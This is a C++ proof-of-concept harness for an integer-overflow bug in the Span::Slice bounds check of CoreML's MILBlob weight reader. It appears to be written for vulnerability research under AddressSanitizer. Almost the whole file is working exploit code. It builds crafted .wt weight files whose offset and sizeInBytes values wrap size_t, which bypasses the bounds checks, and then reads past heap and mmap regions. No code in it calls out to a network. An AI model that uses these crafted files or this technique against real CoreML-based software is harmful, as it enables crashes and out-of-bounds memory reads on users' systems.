// ASAN PoC: Integer overflow in Span::Slice bounds check
// via malicious blob_metadata in CoreML MILBlob weight files (.wt / .mlmodel)
//
// Bug: Span::Slice(index, size) checks `index + size <= Size()` which overflows
// when attacker controls both values via blob_metadata.offset and .sizeInBytes.
//
// Build:
//   SRC=/tmp/mfvhunt/coreml/coreml-src/mlmodel/src
//   g++ -fsanitize=address -g -O0 -std=c++17 \
//     -I$SRC \
//     harness_coreml_milblob.cpp \
//     $SRC/MILBlob/Blob/MMapFileReader.cpp \
//     $SRC/MILBlob/Blob/MMapFileReaderFactory.cpp \
//     $SRC/MILBlob/Blob/StorageReader.cpp \
//     $SRC/MILBlob/Fp16.cpp \
//     $SRC/MILBlob/Fp8.cpp \
//     $SRC/MILBlob/SubByteTypes.cpp \
//     -o harness_coreml_milblob

#include "MILBlob/Blob/StorageReader.hpp"
#include "MILBlob/Blob/StorageFormat.hpp"
#include "MILBlob/Util/Span.hpp"

#include <cstring>
#include <fstream>
#include <iostream>
#include <cstdint>

using namespace MILBlob;
using namespace MILBlob::Blob;

// Mode 1: Direct Span::Slice integer overflow on heap buffer (clean ASAN)
static void test_span_slice_overflow() {
    std::cout << "[*] Mode 1: Direct Span::Slice integer overflow" << std::endl;

    const size_t BUF_SIZE = 256;
    uint8_t* buf = new uint8_t[BUF_SIZE];
    memset(buf, 0x41, BUF_SIZE);

    Util::Span<uint8_t> span(buf, BUF_SIZE);

    // Craft index + size to overflow size_t
    // index = 128 (valid, < BUF_SIZE)
    // size  = SIZE_MAX - 127 (0xFFFFFFFFFFFFFF80 on 64-bit)
    // index + size = 128 + (SIZE_MAX - 127) = SIZE_MAX + 1 = 0 (wraps)
    // Check: size > 0 && 128 < 256 && 0 <= 256  → all TRUE, bypass!
    size_t index = 128;
    size_t size = static_cast<size_t>(-128); // SIZE_MAX - 127

    std::cout << "  Span size: " << span.Size() << std::endl;
    std::cout << "  Slice index: " << index << std::endl;
    std::cout << "  Slice size:  " << size << " (0x" << std::hex << size << std::dec << ")" << std::endl;
    std::cout << "  index + size (wraps): " << (index + size) << std::endl;

    try {
        auto sub = span.Slice(index, size);
        std::cout << "  [!] Slice returned without throwing! Sub-span size: " << sub.Size() << std::endl;
        std::cout << "  [!] Reading OOB at sub[256] (past heap allocation)..." << std::endl;
        volatile uint8_t x = sub[256]; // heap-buffer-overflow: reads buf+128+256 = buf+384
        (void)x;
        std::cout << "  [!] OOB read succeeded (value: " << (int)x << ")" << std::endl;
    } catch (const std::exception& e) {
        std::cout << "  [-] Exception (unexpected): " << e.what() << std::endl;
    }

    delete[] buf;
}

// Mode 2: Full StorageReader path with malicious .wt file
static void test_storagereader_overflow(const char* path) {
    std::cout << "[*] Mode 2: Full StorageReader path with malicious .wt" << std::endl;

    // Construct malicious weight file
    storage_header header;
    memset(&header, 0, sizeof(header));
    header.count = 1;
    header.version = 2;

    blob_metadata meta;
    memset(&meta, 0, sizeof(meta));
    meta.sentinel = BlobMetadataSentinel;  // 0xDEADBEEF
    meta.mil_dtype = BlobDataType::Float32;
    meta.offset = 128; // valid: right after header(64) + metadata(64)
    meta.sizeInBytes = static_cast<uint64_t>(-128); // overflow: 128 + this wraps to 0

    // Some data after metadata
    uint8_t data[128];
    memset(data, 0x42, sizeof(data));

    {
        std::ofstream f(path, std::ios::binary);
        f.write(reinterpret_cast<const char*>(&header), sizeof(header));
        f.write(reinterpret_cast<const char*>(&meta), sizeof(meta));
        f.write(reinterpret_cast<const char*>(data), sizeof(data));
    }
    // Total file: 64 + 64 + 128 = 256 bytes

    std::cout << "  Created malicious .wt (" << (sizeof(header) + sizeof(meta) + sizeof(data)) << " bytes)" << std::endl;
    std::cout << "  blob_metadata.offset = " << meta.offset << std::endl;
    std::cout << "  blob_metadata.sizeInBytes = 0x" << std::hex << meta.sizeInBytes << std::dec << std::endl;
    std::cout << "  offset + sizeInBytes (wraps to): " << (meta.offset + meta.sizeInBytes) << std::endl;

    try {
        StorageReader reader(path);

        // This calls GetMetadata → ReadData → Span::Slice
        // The Slice bounds check is bypassed via integer overflow
        auto span = reader.GetRawDataView(sizeof(storage_header));

        std::cout << "  [!] GetRawDataView succeeded!" << std::endl;
        std::cout << "  [!] Returned span size: " << span.Size() << " (0x" << std::hex << span.Size() << std::dec << ")" << std::endl;
        std::cout << "  [!] Reading data past mmap'd region..." << std::endl;

        // Access past the actual file/mmap boundary
        // span[0] = valid (offset 128 in file)
        // span[128] = past file but within mmap page (zero-filled)
        // span[8192+] = past mmap page(s) → SEGV
        volatile uint8_t x = 0;
        for (size_t i = 0; i < 65536; i += 512) {
            x = span[i];
        }
        (void)x;

    } catch (const std::exception& e) {
        std::cerr << "  Exception: " << e.what() << std::endl;
    }
}

// Mode 3: GetAllOffsets overflow (secondary bug)
static void test_getalloffsets_overflow(const char* path) {
    std::cout << "[*] Mode 3: GetAllOffsets metadata.offset + sizeInBytes overflow" << std::endl;

    storage_header header;
    memset(&header, 0, sizeof(header));
    header.count = 2;  // Two blobs — second one reads from wrapped offset
    header.version = 2;

    // First blob: valid sentinel, offset+size that overflows
    blob_metadata meta1;
    memset(&meta1, 0, sizeof(meta1));
    meta1.sentinel = BlobMetadataSentinel;
    meta1.mil_dtype = BlobDataType::UInt8;
    meta1.offset = 192;  // 64 (header) + 64 (meta1) + 64 (meta2) = 192
    meta1.sizeInBytes = 0xFFFFFFFFFFFFFFC0ULL; // 192 + this wraps to ~0x80 → reads meta2 offset as next metadata

    // Second blob metadata at offset 128 (within file) — doesn't matter much,
    // GetAllOffsets will try to read blob_metadata from the wrapped offset
    blob_metadata meta2;
    memset(&meta2, 0, sizeof(meta2));
    meta2.sentinel = BlobMetadataSentinel;
    meta2.mil_dtype = BlobDataType::UInt8;
    meta2.offset = 256;
    meta2.sizeInBytes = 64;

    uint8_t data[128];
    memset(data, 0x43, sizeof(data));

    {
        std::ofstream f(path, std::ios::binary);
        f.write(reinterpret_cast<const char*>(&header), sizeof(header));
        f.write(reinterpret_cast<const char*>(&meta1), sizeof(meta1));
        f.write(reinterpret_cast<const char*>(&meta2), sizeof(meta2));
        f.write(reinterpret_cast<const char*>(data), sizeof(data));
    }

    std::cout << "  meta1.offset + meta1.sizeInBytes wraps to: "
              << (meta1.offset + meta1.sizeInBytes) << std::endl;

    try {
        StorageReader reader(path);
        auto offsets = reader.GetAllOffsets();
        std::cout << "  [!] GetAllOffsets returned " << offsets.size() << " offsets:" << std::endl;
        for (size_t i = 0; i < offsets.size(); i++) {
            std::cout << "    offset[" << i << "] = " << offsets[i] << std::endl;
        }
    } catch (const std::exception& e) {
        std::cerr << "  Exception: " << e.what() << std::endl;
    }
}

int main(int argc, char** argv) {
    int mode = 1;
    if (argc > 1) mode = atoi(argv[1]);

    const char* wt_path = "/tmp/malicious_coreml.wt";

    switch (mode) {
        case 1:
            test_span_slice_overflow();
            break;
        case 2:
            test_storagereader_overflow(wt_path);
            break;
        case 3:
            test_getalloffsets_overflow(wt_path);
            break;
        default:
            test_span_slice_overflow();
            test_storagereader_overflow(wt_path);
            test_getalloffsets_overflow(wt_path);
            break;
    }

    return 0;
}